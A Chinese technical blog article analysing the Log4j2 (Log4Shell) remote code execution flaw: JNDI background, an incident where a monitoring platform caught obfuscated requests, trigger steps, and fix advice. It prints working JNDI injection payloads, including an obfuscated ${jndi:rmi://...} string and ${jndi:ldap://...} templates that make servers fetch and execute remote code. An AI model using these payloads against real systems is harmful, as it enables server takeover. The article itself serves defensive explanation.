Apache Log4j2远程代码执行漏洞攻击实例浅析

Apache Log4j2远程代码执行漏洞攻击实例浅析

精选文章moguli202024-12-15 16:29:5130A+A-

美国国土安全部:Log4j 漏洞的影响将持续十年或更久

作为一个开源日志库,Apache Log4j2 是 Java 应用最广泛的开源日志组件,广泛应用于政府、企业和公共服务机构的平台、应用和业务系统中,该漏洞覆盖范围广而且利用门槛低,对大量系统和机构造成了严重影响。Log4j 漏洞也被称为 Log4Shell,其 CVSSv3 得分为 10.0。用更容易理解的方式来说明就是,严重度评分是从 0.1 到 10.0,Log4Shell 得了个最高分。

对于普及度高的漏洞,其实很难完全修复。漏洞爆发后一年后,大多数组织仍易受到 Log4Shell 漏洞的攻击,在全面修复之后,还有近三分之一软件中再次出现 Log4Shell 漏洞。简单来说,原本的代码确实修复了,但之后有人引入了“新代码”,而新代码里又包含旧的 Log4j 版本。然后,漏洞就不断被复活,就像一场“森林火灾”,花一年的时间还扑不灭。

摘要:远程代码执行漏洞利用方式十分简单,攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,该漏洞是目前攻击者常用的漏洞攻击手段之一。

关键词:Apache log4j2漏洞;payload;dnslog

一、案例背景

Apache Log4j2是一个基于开源Java日志记录组件,是一款优秀的Java日志框架,该日志框架被大量用于业务系统开发,用来记录日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。Log4j2组件在处理程序日志记录时存在注入缺陷,攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务器任意命令执行,获取目标服务器权限。由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。

该高危漏洞无需授权即可远程代码执行,在漏洞影响版本(Apache log4j2 2.0 至 2.14.1 版本)中,攻击者仅需向目标输入一段代码,不需要用户执行任何多余操作即可触发该漏洞,使攻击者可以远程控制用户受害者服务器,90% 以上基于 java 开发的应用平台都会受到影响。漏洞利用大致流程:第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。

1.1漏洞成因

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE

关于什么是JNDI注入,请看下面分析

JNDI基本介绍

JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。

JNDI架构图

JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。


JNDI核心API

类名

描述

Context

命名服务的接口类,由很多的name-to-object的健值对组成,可以通过该接口将健值对绑定到该类中,也可通过该类根据name获取其绑定的对象

InitialContext

Naming(命名服务)操作的入口类,通过该类可对命名服务进行相关的操作

DirContext

Directory目录服务的接口类,该类继承自Context,在Naming服务的基础上扩展了对于对象属性的绑定和获取操作

InitialDirContext

Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作

二、案例描述

1、安全态势感知系统监控平台发现多个IP 对我方IP (213.***.***.***)发送可疑请求数据包,其payload为: ${jndi:rmi://1645${LeEGs:JnRt:ntofJ:dCTRFh:-4}1627622${mMRbHa:XqoRHh:mJoGJ:-6}kkMCO.k${LyxUD:QPt:pcTK:TrLDQp:adrlD:-l}6t1b.dnslog${IUse:FRhfXj:Jeyfli:vBTRGp:-.}c${zlCM:IvduI:sQFDfE:TkB:FPeuM:-n}/ACxw} }”

Apache Log4j2存在远程代码执行漏洞,攻击者可利用这些漏洞执行任意命令,攻击语句:X-Remote-Addr: ${jndi:rmi://1645${LeEGs:JnRt:ntofJ:dCTRFh:-4}1627622${mMRbHa:XqoRHh:mJoGJ:-6}kkMCO.k${LyxUD:QPt:pcTK:TrLDQp:adrlD:-l}6t1b.dnslog${IUse:FRhfXj:Jeyfli:vBTRGp:-.}c${zlCM:IvduI:sQFDfE:TkB:FPeuM:-n}/ACxw}等,在不同的请求头参数中使用混淆手段对初始payload做了处理,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞,此处payload为尝试远程访问dnslog网站。

url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://xxx.dnslog.cn

jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

? 因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。

? 那么问题来了,攻击者如何控制服务器上记录的日志内容呢?

? 非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

3、触发过程

log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理): 假设有一个Java程序,将用户名信息到了日志中,如下



**第一步.**攻击者发送一个HTTP请求,其用户名为${jndi://rmi服务器地址/Exploit}

**第二步.**被攻击服务器发现要输出的信息中有${},则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。

**c第三步.**RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。

**每四步.**被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

**第五步.**被攻击服务器下载恶意class文件并执行其中的恶意代码

LDAP

? 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中

**a.**假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}

**b.**被攻击服务器发现要输出的信息中有${},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp

**c.**解析到ldap,就会去192.168.61.129:1099的ldap服务找名为exp的资源,如果找不到就会去http服务中找在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害

修复建议

  • 更新log4j至 rc2
  • 配置防火墙策略,禁止主动连接外网设备
  • 升级受影响的应用及组件
  • 过滤相关的关键词,比如${jndi://*}
  • 限制JNDI默认可以使用的协议
  • 限制可以通过LDAP访问的服务器和类

Apache Log4j2远程代码执行漏洞是一种(CNVD评级)“高危”安全漏洞,攻击者可以利用该漏洞在受影响的服务器上执行恶意代码。该漏洞的影响范围广泛,可能会影响许多使用log4j2的应用程序。面对日益严峻的网络安全风险,网络安全管理员要及时更新受影响的应用程序,以避免被攻击。同时,加强网络安全防护,网络安全监控人员可通过利用全流量监测平台对网络流量、安全设备日志进行监控预警,实时捕获疑似攻击行为和异常操作行为,通过攻击分析、日志排查、攻击IP溯源、封堵攻击IP及时限制外部访问等技术监测手段,避免被攻击者利用该漏洞入侵系统,完成此安全风险的应急和闭环处置。

点击这里复制本文地址 以上内容由莫古技术网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

莫古技术网 © All Rights Reserved.  滇ICP备2024046894号-2